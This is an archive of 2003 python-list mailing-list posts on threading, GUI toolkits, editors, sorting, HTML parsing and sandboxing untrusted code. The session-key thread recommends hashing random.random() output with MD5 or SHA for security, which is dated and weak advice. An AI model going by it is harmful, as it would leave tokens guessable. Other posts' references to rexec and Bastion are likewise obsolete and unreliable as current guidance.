>print "(4+3)*2 =",(4+3) *2
>print "4+3*2 =", 4+3*2
>print "3**2 =", 3**2
>print
>
>
>==============
>What did I do wrong? Pls excuse my obvious stupid questions as I am just a newbe.
>
>Thanks
>pavs




From lac at strakt.com  Sat Jan 25 18:57:56 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 00:57:56 +0100
Subject: Learning to use threads. 
In-Reply-To: Message from Grumfish <nobody@nowhere.com> 
   of "Sat, 25 Jan 2003 23:35:24 GMT." <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> 
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> 
Message-ID: <200301252357.h0PNvujL003627@ratthing-b246.strakt.com>

> I've never used threads before and thought now would be a good time to 
> learn. Are there any good sites with tutorials of using threads with 
> Python? I have a project where I think one object creates several 
> threads and each thread returns messages back to the parent object. Is 
> this a good way to do things? Could someone post a small example?
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Check out:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965
and the rest of the threading section in the cookbook.

The 2. most important things to learn are 'Use Queues to communicate between
threads' and 'Don't use the thread module directly.  Use the threading
one instead, which handles all of the nasty details for you'.

Jacob Hallen gave a tutorial on how to use threads at EuroPython last year
(2002).  His tutorial slides are here: 
http://europython.zope.nl/sessions/presentations/

(but be warned this is about to get archived as we prepare for next
 years EuroPython.  If you are reading this via a google search, 
 this was a 2002 talk).

Aahz gave a tutorial at IPC9.  His slides are here.
http://starship.python.net/crew/aahz/IPC9/index.html

The thing to remember is that this is very easy.  Everything you have
ever heard about this being hard is wrong.  It is hard -- if you
aren't using Queues to communicate between threads and if you are
messing around doing your own locking rather than letting the
threading module take care of it.

Happy hacking,
Laura Creighton




From ny_r_marquez at yahoo.com  Tue Jan 14 14:30:39 2003
From: ny_r_marquez at yahoo.com (R.Marquez)
Date: 14 Jan 2003 11:30:39 -0800
Subject: Boa vs. PythonCard
References: <pan.2002.12.02.21.04.52.49750.699@thomas-guettler.de> <3E23EFB0.7080101@remov_try_vanderkleyn.com>
Message-ID: <8a27e309.0301141130.a1f6140@posting.google.com>

> ...I've been testing Boa Constructor for a few days and 
>    consider it to be 'stable enough' for small(ler) programs. That is 
> the version straight from CVS, not one of the downloads on sourceforge. 

Actually, a new release of Boa has just been posted! I'm done
downloading it so you may now go ahead ;).

-Ruben



From zenguyuno at yahoo.com  Sat Jan 25 19:26:56 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Sun, 26 Jan 2003 00:26:56 GMT
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net>
Message-ID: <3E332BDF.25DE97C7@lvcm.com>

"Aaron K. Johnson" wrote:
> 
> Hello all,
> 
> For what its worth, I've updated my usenet language stats (interpret them how
> you will)
> 
> This time, the data reflects the actual number of DIFFERENT posters to each
> group in the last 200 posts to each group, as opposed to just the total posts
> to the group.
<snip>
This is very interesting to me.  I can suggest an improvement, if you
want to spend some more time on this.  Instead of using the last 2000
posts, use the last week or month.  A popular language will get 2000
posts much faster than an unpopular language.

I hope you redo it in this way.

z

-- 
"When one enters an unplowed field he is sure to leave furrows, even if
his plow is not of the sharpest." - Timin



From mwh at python.net  Wed Jan 15 12:53:58 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 17:53:58 GMT
Subject: Python23: cannot inherit from bool?
References: <mailman.1042638386.12093.python-list@python.org>
Message-ID: <7h3r8bepacq.fsf@pc150.maths.bris.ac.uk>

"Andrew Thompson" <andrew.thompson at ashecastle.com> writes:

> Inheriting from bool is a clever idea from Smalltalk.

... which is not Python

> Where true and false subclass the abstract type bool.
> 
> This then makes if,and,or,not all very natural to define.

However, in Python those things are already defined by the language...
I can appreciate the purity viewpoint, but it doesn't really apply
here.

Cheers,
M.

-- 
  Gevalia is undrinkable low-octane see-through only slightly
  roasted bilge water. Compared to .us coffee it is quite
  drinkable.                                      -- M?ns Nilsson, asr



From sholden at holdenweb.com  Sun Jan 12 12:56:00 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 12 Jan 2003 12:56:00 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <CWhU9.267294$bZ.63369@FE07>

"Edward K. Ream" <edream at tds.net> wrote ...
[Holger]
> > As Armin Rigo of PSYCO fame takes part in the effort,
> we are confident that MinimalPython will eventually
> run faster than today's CPython.
>
> This announcement seems to be making a truly remarkable claim, namely that
> one could increase the speed of  C code by recoding it in Python and then
> applying Psycho to it.
>
> I am inclined to disbelieve this claim.  Why should Psycho be able to do
> better than an optimizing C compiler applied to hand-written interpreter
> code and/or library code?  [...]
[...]
>
> Would anyone care to enlighten me how MinimalPython will achieve its
stated
> goals?
>
In more or less the same way that a good C compiler nowadays tends to
produce code that out-performs an algorithm coded in assembly language by a
moderately-competent programmer?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From vanevery at 3DProgrammer.com  Wed Jan 29 03:15:35 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Wed, 29 Jan 2003 08:15:35 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu><T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk>  <200301290028.h0T0SJjL023634@ratthing-b246.strakt.com> <mailman.1043804455.2703.python-list@python.org>
Message-ID: <H4MZ9.2133$wd2.170535@newsread2.prod.itd.earthlink.net>

Mongryong wrote:
>
> Two people can write different code to do the same thing.  Which is
> better?  The code that was written the fastest or the one that took
> the time to do a great design such that it is easier to maintain and
> extend?

That depends on how you're getting paid.  :-)  And how long the code is
meant to last.  And how long the code actually lasts, despite what it was
meant to do.  And who picks up the tab for that, again.  :-)

It is not Pure.  Purism in programming is to be avoided.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From BPettersen at NAREX.com  Tue Jan 28 16:27:09 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Tue, 28 Jan 2003 14:27:09 -0700
Subject: py2exe - return information from .exe program
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE285@admin56.narex.com>

> From: Miranda Evans [mailto:mirandacascade at yahoo.com] 
> 
> Assume xyz.exe is a program that was produced from  xyz.py by running
> the py2exe utility.  Currently, xyz.exe displays information on the
> screen, but it does not return information to the calling program. 
> Can xyz.py be modified so that xyz.exe returns a value (e.g. a string)
> to the process that called it?  Can anyone point me to a sample .py
> script which, when 'compiled' with py2exe produces a .exe that returns
> information to the calling program?  Thank you.

I'm not sure I understand what you mean by "return information to the
calling program". Could you give us a specific example of what you'd
like to do?

-- bjorn




From max at alcyone.com  Tue Jan 14 23:22:33 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 20:22:33 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042602566.31050.python-list@python.org>
Message-ID: <3E24E209.504E85D4@alcyone.com>

Tim Peters wrote:

> How frightened are you of getting sued by the PSF?

Not at all, since I'm not doing anything that could get me sued by any
such entity.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Principles have no real force except when one is well fed.
\__/ Mark Twain
    The laws list / http://www.alcyone.com/max/physics/laws/
 Laws, rules, principles, effects, paradoxes, etc. in physics.



From dale at riverhall.NOTHANKS.co.uk  Fri Jan 24 13:07:59 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Fri, 24 Jan 2003 18:07:59 +0000
Subject: Python Programming on Win32
References: <44UW9.2018$5K5.112342@news20.bellglobal.com> <KE0X9.10729$m47.35775@news-server.bigpond.net.au>
Message-ID: <66033v42v9195kev1frojotv97pab2o95i@4ax.com>

Mark Hammond <mhammond at skippinet.com.au> wrote:

>Sean Ross wrote:
>> Hi.
>> Does anyone know when/if a new version of O'Reilly's "Python Programming on
>> Win32" will be published?
>> Thanks,
>> Sean
>
>Hopefully yes, and hopefully starting work on it this year.
>
>Mark.

Good news. Will you be working with Andy on it again?
--
Dale Strickland-Clark
Riverhall Systems Ltd



From tjreedy at udel.edu  Fri Jan 24 18:21:09 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Jan 2003 18:21:09 -0500
Subject: Sandboxing [Was Re: killing thread ?]
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com> <20030124174424.GA15614@meson.dyndns.org> <mailman.1043432149.5693.python-list@python.org>
Message-ID: <JpGdnVkyFJjvUayjXTWcqA@comcast.com>

"Jack Diederich" <jack at performancedrivers.com> wrote in message
news:mailman.1043432149.5693.python-list at python.org...
> On Fri, Jan 24, 2003 at 12:44:24PM -0500, Jp Calderone wrote:
> > On Fri, Jan 24, 2003 at 07:52:08AM -0800, Paul Rubin wrote:
> > > Peter Hansen <peter at engcorp.com> writes:
> > > > If you're worried about some kind of denial of service type
> > > > thing with code written by someone else: you're out of luck.
> > > > Don't use Python.  (Or, better yet, get over the worry and
just
> > > > accept this possibility.)
> > >
> > > Wha?  Python provides the rexec and bastion modules specifically
to
> > > have a way to run hostile code in a sandbox.  So what kind of
advice
> > > is "don't use Python"?  If sandboxed code can be prevented from
> > > accessing sensitive data or doing i/o, but can't be prevented
from
> > > looping unkillably, that's a bug in Python.
> >
> >   Yes, that's why Python provides them.  But this misconception
(that they
> > work) is also why it will soon -not- provide them :P  And neither
RExec nor
> > Bastion ever protected you against "while 1: pass"

Hmmm.  Disable 'while': force use of for loops, and limit list
lengths, and recursion depth and ....

>> or "100L ** 100L ** 100L  ** 100L ** 100L".

Hmmm. Remove longs.  But then language is not quite Python.

> If you've ever worked on an LPC MUD or thought about implementing
one
> you have to deal with giving 'untrusted' users code-level access to
the system.

I have sometimes thought I would like to play (or write) a game
user-scriptable in Python.  But I keep seeing problems like the above.
Removing parts of the language, to make it *not* Turing-complete, as
well as some builtin functions, is only thing I can think of.

Terry





From martin at v.loewis.de  Fri Jan 10 05:43:11 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 10 Jan 2003 11:43:11 +0100
Subject: Semantics of statement sequencing not in doc?
References: <3E1E976A.281E8706@acm.org>
Message-ID: <m3smw170ao.fsf@mira.informatik.hu-berlin.de>

Tom Verhoeff <Tom.Verhoeff at acm.org> writes:

> OK, it is trivial: execute the statements in the order
> of appearance, one by one.  But I would think that this
> needs to be stated somewhere.

Only if you expect a truly formal language specification, to the
casual reader, it is obvious what the meaning of sequencing is.

> Am I missing something?

The sequencing semantics is more involved, but you knew that:
exceptions, and the break, return, and continue statements can all
interfere with the sequencing.

Regardless, if you can provide some wording, please submit a patch to
sf.net/projects/python. I'd put words into the explanation of <suite>,
and of <file_input>.

Regards,
Martin




From grey at despair.dmiyu.org  Thu Jan  2 22:09:15 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 03:09:15 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com>
Message-ID: <slrnb19vmq.h00.grey@teleute.dmiyu.org>

On Thu, 02 Jan 2003 23:25:06 -0800, faust <urfaust at optushome.com.au> wrote:
> Emacs is always the answer....

    Ah yes, Emacs.  Emacs is the proof that even the most die hard unix fan
can succumb to creeping featurism.  Why?  Well think about it, "the unix way"
is to have a collection of small tools which are interchangable, communicate
with each other well and each do their specific task quite well.  "The windows
way" is to lump every unrelated task into every program in an attempt to out
check-box the competition on a comparisoon pamphlet.  Now, I ask you, which
describes Emacs?  Clearly the latter.

    I never quite understood what a mail and news reader had to do with
editing files yet every time the "best mail|news reader for unix" comes up
gnus is top of the list.  Noone has yet to explain to me why I would want to
install a 20+Mb editor just for a newsreader.  As a result I stick to slrn
which calls my preferred editor (was joe, then jed, now vim).  Seems the
sensible way to do things.  The reader calls the editor, not the editor
contains the reader.

    Of course people have called Emacs a "work environment".  Fine.  When
people ask for an editor don't reply with a "work environment".  Especially
one where most of its die-hard fans will admit takes quite a bit of
customization to even be moderately productive.  They asked for an editor, not
a practical project to learn Lisp.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From rwest2 at opti.cgi.net  Thu Jan  2 16:06:57 2003
From: rwest2 at opti.cgi.net (Richard West)
Date: Thu, 02 Jan 2003 21:06:57 GMT
Subject: HTMLParser and Quotes
References: <qpj71v0as06msdmoj6nep17dptnvtqlml6@4ax.com> <av1bne$jho@newton.cc.rl.ac.uk> <av28ms$893$1@slb6.atl.mindspring.net>
Message-ID: <kga91vgs4ojeqnhel9bqj88taqh46mqkba@4ax.com>

Thank you!  Fortunately my app is not high volume.  This should do
nicely.

-Richard


On Thu, 02 Jan 2003 13:43:04 -0700, Andrew Dalke
<adalke at mindspring.com> wrote:

>Richard Brodie:
>> HTMLParser is a fairly straightforward parser: it mostly follows the SGML
>> syntax rules. That means that it is of little use for most of the HTML out on
>> the web. Whilst an DWIM parser might be useful, it could get out of hand,
>> and I'm fairly happy that the standard library one stops on the first error.
>> In a few years the XML ones will error anyway.
>
>In the meanwhile, you can use something like HTML Tidy
>   http://tidy.sourceforge.net/
>and  Marc-Andr? Lemburg Python interface to it, mxTidy
>   http://www.lemburg.com/files/python/mxTidy.html
>to clean up input HTML, like this
>
> >>> from mx import Tidy
> >>> from HTMLParser import HTMLParser
> >>> text = """<html>
>... <body>
>... <font face=arial,helvetica>test</font>
>... </body>
>... </html>"""
> >>>
> >>> print Tidy.Tidy.tidy(text)[2]
><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
><html>
><head>
><title></title>
></head>
><body>
><font face="arial,helvetica">test</font>
></body>
></html>
>
> >>>
> >>> x = HTMLParser()
>
>					Andrew
>					dalke at dalkescientific.com




From Padraig at Linux.ie  Tue Jan 28 08:56:32 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Tue, 28 Jan 2003 13:56:32 +0000
Subject: sort by last then by first
In-Reply-To: <b1607o$2iq$1@slb5.atl.mindspring.net>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it> <3E365531.3090909@Linux.ie> <b1607o$2iq$1@slb5.atl.mindspring.net>
Message-ID: <3E368C10.3050000@Linux.ie>

Andrew Dalke wrote:
> Padraig at Linux.ie wrote:
> 
>> wouldn't it be cool if [].sort() took an optional parameter that
>> was essentially the --key option in gnu sort. in this e.g:
>>
>> names.sort("--key=1,1 --key=0,0")
>>
>> or for more complicated forward and then reverse sorting like you
>> suggested:
>>
>> names.sort("--key=1,1r --key=0,0")
> 
> 
> No, it would not.
> 
> 1) requires dispatch based on type (string vs. function)

so?

> 2) would be just about the only function where the argument
> parameters are serialized into a string.  (Are there others
> in the standard library?)

well I was just suggested that so that the sort docs would
suffice and also more users would know the syntax straight off.
You could of course do

> 3) non-obvious (to me at least) on what the different args mean
> (eg, why "--key=1,1" instead of "--key=1"?  I'm guessing it's
> because the key is start/end column, in which case it disagrees
> with Python syntax of start/end+1 column, as in "--key=1,2
> --key=0,1".  Then again, why have the '--key' term, expressing
> it perhaps as "1r,0" or even support range values as "(1,3),5,4"
> or "(1,3),(5,3)" which sorts on rows 1, 2, 5, 4.  And is 1 the
> first column or the second?)

Yes you're probably right that gnu sort has too much baggage.
How about passing a tuple like: ("1(r)","0(n)")
This would first reverse sort on second "column" and
then forward sort on first column treating strings as numeric

> 4) More generic to have a parse function which turns such a
> string into a comparison function, so you have
> 
> names.sort(GnuSortOpt("--key=1,1 --key=0,0"))

Hmm, maybe.

> 5) Doesn't handle the more common case of sorting by
> attribute name.

("attr2(r)", "attr1(n)")

P?draig.




From dglenn at charter.net  Sat Jan  4 22:30:23 2003
From: dglenn at charter.net (Doug Glenn)
Date: Sat, 4 Jan 2003 22:30:23 -0500
Subject: Is there documentation for the IDLE debugger?
In-Reply-To: <b16e4ef7.0301041901.25c77fe8@posting.google.com>
References: <b16e4ef7.0301041901.25c77fe8@posting.google.com>
Message-ID: <200301042230.23924.dglenn@charter.net>

On Saturday 04 January 2003 22:01, Stephen Ferg wrote:
> I've been looking for documentation on how to use the IDLE debugger.
> Couldn't find any.  Does any such documentation exist?

http://www.python.org/idle/doc/idlemain.html

-----
Doug




From cnetzer at mail.arc.nasa.gov  Mon Jan 27 17:05:07 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 27 Jan 2003 14:05:07 -0800
Subject: Generating Unique Keys
In-Reply-To: <7xfzrgq3su.fsf@ruckus.brouhaha.com>
References: <1043511783.4939.1.camel@refugeeMedia> <mailman.1043531155.16388.python-list@python.org> <7xfzrgq3su.fsf@ruckus.brouhaha.com>
Message-ID: <200301272205.OAA25820@mail.arc.nasa.gov>

On Saturday 25 January 2003 14:10, Paul Rubin wrote:
> Mongryong <Mongryong at sympatico.ca> writes:
> > Even with a 'randomly' generated session key, a malicious user can
> > still steal the session key of a active user.
>
> How?

By correctly guessing all aspects of the session key.  Especially if 
the server doesn't have a way of detecting attempts at forgery, this is 
pretty straightforward (and not uncommon on many services that attempt 
to invent their own authentication, validation, etc.)

In this case, it depends on on the implementation of random().  
Python's default random.random() is NOT anywhere near unpredictable 
enough to be secure.  If you see a sequence of random numbers, it is 
possible (in principle) to 'solve' the seed and sequence, and start 
predicting the next random numbers.  The details typically amount to 
solving a linear difference equation (which is doable).

Using a random number generator based on a cryptographic hash, 
preferably with some real randomness thrown in, is a better approach 
for security.  Linux, and other Unix operating systems, will (often) 
have this built into /dev/random, /dev/urandom, etc.  I'm not sure how 
it is done on Windows (but there may be thrid party software to do the 
same thing)

Cryptography texts will pick up where I left off.  But in the simplest 
case, doing a MD5 or SHA hash of several random.random() numbers, and 
using THAT as the 'random' number, will be a vast improvement over 
using just the raw random.random() numbers themselves.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From bokr at oz.net  Fri Jan 10 23:17:29 2003
From: bokr at oz.net (Bengt Richter)
Date: 11 Jan 2003 04:17:29 GMT
Subject: The Python 2.3 Method Resolution Order
References: <2259b0e2.0301101453.101e81bf@posting.google.com>
Message-ID: <avo5sp$mtb$0@216.39.172.122>

On 10 Jan 2003 14:53:26 -0800, mis6 at pitt.edu (Michele Simionato) wrote:

>I learned from the recent thread on multimethods that the method resolution 
>order has changed in Python 2.3. Now Python follows the so-called C3 
>linearization described in the Dylan paper 
>
>  http://www.webcom.com/haahr/dylan/linearization-oopsla96.html
>
>However, that paper is not so clear (for non-lispers, at least) therefore 
>I thought it was useful to write down few examples to teach how the C3 
>linearization works. They can be found on
>
>  http://www.phyast.pitt.edut/~micheles/python.html
ITYM
   http://www.phyast.pitt.edu/~micheles/python.html
>
>I welcome comments and observations.

So far, that's it, but TIA ;-)

Regards,
Bengt Richter



From hancock at anansispaceworks.com  Wed Jan 22 17:00:48 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 22 Jan 2003 22:00:48 GMT
Subject: UML and Python
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>
Message-ID: <kwEX9.6791$Sv3.665732@newsread1.prod.itd.earthlink.net>

Terry Hancock wrote:
> Does UML work for Python? 
> Interfaces
> Components
> Acquisitiion
> Pluggable Brains

Thanks for all the useful (even if conflicting) opinions!

I have found the class-diagrams useful for defining my interfaces and 
object model.  After some installation frustrations, I opted to stick with 
dia, at least for now.   I'm using a newer version (0.88.1) than before 
which doesn't segfault on me (at least not so far).  Looks like this will 
be good enough for the paper I'm writing.

I opted to represent interfaces (using Zope's interface/component model) as 
"abstract classes with stereotype 'interface'", "implemented by" a concrete 
class.  I also use the naming convention of:

LumAPI -- an interface specification
Lum       -- the simplest or most obvious implementation of LumAPI that
                 actually works.
NonLum -- a null-implementation that pretends to work, but does nothing
                  useful (sometimes useful as a placeholder).
Elle        -- Can use other names to represent different / less-obvious
                  implementations of the same API.

ReiAPI    -- can be a pluggable brain API, in which case the stereotype is
                  "interface/PB"
ReiPB   -- a "pluggable brain" implementation class.  I borrowed the
                "document" symbol from the "flowchart" package to document
                 what record/query the PB extends.
Rei       -- an DB querying object that provides methods to access the
                database table. The query methods return a "list of ReiPB".

This is a bit briefer than "Lum"=interface, 
"LumImplementation"=implementation, which is what the Zope product DevGuide 
has.  I also find it more descriptive, since "the thing itself" has the 
more basic name, while the more removed symbol of the thing has a modified 
name letting you know what it is.

However, rather than focusing on objects or even classes, I'm focusing on 
the interfaces.  If an interface A "contains" another interface B as an 
attribute b, that means that "an object implementing interface A must 
contain A.b which implements interface B".  That's nice, because in 
principle, the interface doesn't care what sort of objects A & B are, so 
long as they exhibit the correct behavior ("polymorphism"?). To make this 
work still better, I'm going to have to replace my "meta-type" checks in 
Zope with "implements" checks.

Since I don't list methods or attributes that are already specified by the 
interface, I wind up with implementation classes being nothing more than a 
name in a box, for the most part, with one or more "implements" arrows, 
with only a very few exceptions.

Acquisition has to do with the deployment of class instances, and I haven't 
tackled that yet, so I'm not positive how I'll do it.

Another uniquely Python trick that I will need to use "stereotypes" for is 
the "monkeypatch" arrow where a live object is modified by adding an 
attribute at runtime. An admittedly dangerous technique, but sometimes 
necessary, and I don't think you can do it in other languages. ;-)

One thing I like about this process, is that an overblown API shows up like 
a sore thumb, which encourages me to find ways to simplify.  Which is 
really good, because I have a few in my current package that I'm working on 
clearing away now.  Also good for improving the consistency of labels (i.e. 
that the "summary()" method should do something similar when applied to two 
different content objects, even if the whole interface is not copied.).

So I'm having to bend it a little, but UML is still proving fairly useful.

Thanks for the comments!
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From vanevery at 3DProgrammer.com  Wed Jan 29 23:39:20 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 04:39:20 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it>
Message-ID: <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net>

Alex Martelli wrote:
>
> You assertion is simply false.  I'm an expert in both C++ and Python,
> and I have experimented writing GUI's with both Qt driven by C++, and
> PyQt driven by Python: Python's productivity advantage for this task
> is about a factor of two in my experience --
>
> (Personally, I'm more productive CODING a GUI [even in C++ plus
> Qt...] than PAINTING it [say with Qt Designer] --
>
> indeed I'm almost the last person you should want to DESIGN a GUI
> in the first place -- but, these are totally separate issues).

You're sending conflicting signals here.  Maybe the middle ground is that
for your GUI design and coding style, Python is an advantage.  For my GUI
design and coding style, perhaps not.  I'm quite comfortable with designing
things visually, using pencil-and-paper as my prototype, and I don't often
design stuff I don't need.  Maybe it's fair to say Python will help *some*
kinds of coders disproportionately, but not others?

This all sounds like an argument about spontaneous vs. architectural coding
styles.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From v.wehren at home.nl  Sat Jan 25 02:33:00 2003
From: v.wehren at home.nl (vincent wehren)
Date: Sat, 25 Jan 2003 08:33:00 +0100
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com> <b0t0qj$76g$05$1@news.t-online.com>
Message-ID: <b0te5n$geu$1@news2.tilbu1.nb.home.nl>

"Martin v. L?wis" <martin at v.loewis.de> schrieb im Newsbeitrag
news:b0t0qj$76g$05$1 at news.t-online.com...
> Bob van der Poel wrote:
> > BTW, I really think this is a bug. If you enter "ascii" text into the
> > entry box you get() returns a string, if you enter "extended ascii" you
> > get a unicode string. <..>
> > Well, yes. Being on the US-side (altho I do live in Canada and we're a
> > bit less centric in our thinking) I was just referring to a "normal"
> > encoding...whatever that is :)
>
> There is no such thing.
>
> > Yes, local.getlocale() works fine. Now, if I do use encode on these
> > strings, will I run into problems if the user's locale is not encodable
> > into 8bits. Or can that not happen?
>
> Depends on what you mean by "8bits". You might have meant to ask
>
> Q. Could it happen that the user enters characters that cannot be
> represented in the 'normal encoding'?
> A. Yes, this can happen. If you merely want to compare this to another
> byte string, you should decode that byte string to Unicode, and perform
> the comparison then.
>
> or you meant to ask
>
> Q. Could it happen that the encoding produces more than one byte per
> character.
> A. Yes, this can happen, but it is no problem.
>
> or you meant to ask
>
> Q. Will Python support 'normal encodings' that produce more than one
> byte per character out of the box?
> A. No, Python does not ship with any such codecs (*). You should install
> the JapaneseCodecs, KoreanCodecs, or ChineseCodecs package for that.

ChineseCodecs? Are those the ones the guys at BasisTech promised to the
Python community
(http://www.basistech.com/papers/chinese/python-zh-transcoding-iuc20-te2.pdf
)? Are they aleady available?

Vincent Wehren


>
> Regards,
> Martin
>
> (*) Except for UTF-8, UCS-2, UCS-4.
>





From abelikov72 at hotmail.com  Sat Jan  4 20:37:37 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 01:37:37 GMT
Subject: Number format...
References: <892f1vc2o4fbfd023ottrjepv8344hpc9q@4ax.com>
Message-ID: <a33f1vskqkol38pmcre2lusk1u0j4f2obc@4ax.com>

On Sun, 05 Jan 2003 01:21:09 GMT, Afanasiy <abelikov72 at hotmail.com>
wrote:

>What do I need to do to convert .1352345 to '0.14' ?
>
>>>> repr(round(.1352345,2))
>'0.14000000000000001'

I found the answer... 

  str(round(0.1352345,2)) == '0.14'

But have another question...

  str(round(0.1001,2)) == '0.1'

How do I pad with a zero now? ('0.10')



From lac at strakt.com  Sun Jan 26 05:46:42 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 11:46:42 +0100
Subject: Sticky Notes, which GUI toolkit supports... 
In-Reply-To: Message from Phil Thompson <phil@river-bank.demon.co.uk> 
   of "Sun, 26 Jan 2003 10:16:32 GMT." <200301261016.32417.phil@river-bank.demon.co.uk> 
References: <6e07b825.0301260043.18231335@posting.google.com> <200301261016.32417.phil@river-bank.demon.co.uk> 
Message-ID: <200301261046.h0QAkhjL010088@ratthing-b246.strakt.com>

> On Sunday 26 January 2003 8:43 am, yaipa h. wrote:
> > All,
> >
> > I would like to write a Sticky note application. So my question is
> > which GUI toolkit, if any, supports the notion of an object being
> > always on top.
> >
> > One material note is that the toolkit must support Solaris as well as
> > Linux and u$oft platforms.
> 
> PyQt...
> 
> Qt::WStyle_StaysOnTop - informs the window system that the window should stay
>  
> on top of all other windows.
> 
> Phil

Which the window system can then cheerfully ignore, correct?

Laura




From oliver at rutherfurd.net  Wed Jan  8 18:26:05 2003
From: oliver at rutherfurd.net (Ollie Rutherfurd)
Date: 8 Jan 2003 15:26:05 -0800
Subject: best python editor/ide for windows
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9D@admin56.narex.com> <mailman.1041977333.13900.python-list@python.org> <yyyr8bn4uxd.fsf@adams.patriot.net> <2de245.0301081159.48e4c84@posting.google.com>
Message-ID: <321eb5bd.0301081526.68e2e6d3@posting.google.com>

ebodine at hotmail.com (Erick) wrote in message news:<2de245.0301081159.48e4c84 at posting.google.com>...
> Nick Vargish <nav at adams.patriot.net> wrote in message news:<yyyr8bn4uxd.fsf at adams.patriot.net>...

[snipped]

> I am kind of partial to jEdit myself.  I know it is sometimes billed
> as a Java code editor but it works great for Python, on Windows or
> Linux.

I'll second this! It's a great all-around editor. It even has a 
plugin that let's you write macros (or plugins) for it in Python 
(Jython Interpreter).

You can find some example macros here:

  http://www.rutherfurd.net/jEdit/macros/index.html

Also, there's pretty basic (but usable) Python Class Browser.
Here's the latest beta version, which is more usable that the
current released version (which doesn't work):

  http://www.rutherfurd.net/jEdit/plugins/pyutils/index.html

-Ollie



From gminick at hacker.pl  Fri Jan  3 15:33:04 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Fri, 3 Jan 2003 20:33:04 +0000 (UTC)
Subject: php vs python
References: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk>
Message-ID: <av4s20$t3u$1@news.tpi.pl>

Dnia Fri, 3 Jan 2003 21:01:40 +0100, Joe napisa?(a):
> What can Phyton do for me that php cant't?
You're asking bad questions, since you can achieve the same tasks
either in python and in php. The question is: in which language it's
easier and nicer to code a solution ;]

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From rjones at ekit-inc.com  Fri Jan  3 19:36:02 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Sat, 4 Jan 2003 11:36:02 +1100
Subject: Port Python to PS2
In-Reply-To: <194e1e0a.0301031622.69bf6994@posting.google.com>
References: <194e1e0a.0301031622.69bf6994@posting.google.com>
Message-ID: <200301041136.02544.rjones@ekit-inc.com>

